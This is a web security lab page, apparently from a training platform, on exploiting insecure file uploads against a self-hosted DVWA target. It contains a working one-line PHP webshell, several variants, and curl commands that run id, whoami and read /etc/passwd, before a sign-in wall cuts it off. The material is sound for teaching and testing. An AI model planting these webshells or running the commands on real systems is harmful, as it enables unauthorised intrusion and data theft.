Practice library / Web attacks
Lab · Medium · 55 minutesFree account
File Upload Vulnerabilities
Bypass extension filters, MIME type checks, and upload webshells.
On this page 9 sections
Before you start
A file upload becomes a remote shell when the server stores an attacker's file inside a folder that it will also execute. The vulnerability hits almost every app that lets users upload a photo or a document, and file-upload flaws have caused real breaches. The lab lets you bypass client checks, MIME filters and extension allow-lists, then pivot from a PHP webshell to a reverse shell.
Lab Objectives
- Understand why insecure file uploads lead to RCE
- Upload a basic PHP webshell and execute commands
- Bypass common client-side and server-side upload filters
- Escalate from webshell to a full reverse shell
Build the target
KaliRange hosts no target web application. Run every command below against a web application you install yourself, one with a file-upload feature (a profile picture or document upload) that stores files in a folder the server also executes.
Build it from a free, legal part: DVWA (Damn Vulnerable Web Application), published by the DVWA team on GitHub, has a File Upload module with exactly this flaw. Install it with Docker Compose on your own machine, and use target.com in the commands below as the address of your own DVWA instance (for example 127.0.0.1).
Run every command in this lab only against a target you own or have written permission to test, such as your own DVWA instance.
Step 1: Understanding the Vulnerability
When a web server allows file uploads and does not properly validate what is uploaded, an attacker can upload a malicious script. If that script lands in a web-accessible directory, the attacker can browse to it, and the server executes it.
# Attack flow:
# 1. Find a file upload feature (profile pic, CV upload, etc.)
# 2. Upload a PHP webshell instead of an image
# 3. Server saves it to /uploads/shell.php
# 4. Browse to http://target.com/uploads/shell.php?cmd=whoami
# 5. Server executes PHP → you see: www-data
# What makes a server execute uploaded files?
# - File is saved to a web-accessible directory
# - Server has PHP/Python/etc. configured for that directory
# - File extension tells the server to execute itStep 2: Basic PHP Webshell
# Minimal webshell — passes URL parameter to system()
<?php system($_GET['cmd']); ?>
# Save as shell.php and upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Access it:
curl "http://target.com/uploads/shell.php?cmd=whoami"
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
# More feature-rich webshell variants:
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
# p0wnyshell — full web terminal in browser
# Download from: github.com/flozz/p0wny-shellSign in to continue
6 more sections are for signed-in members. It is free: sign in with Google.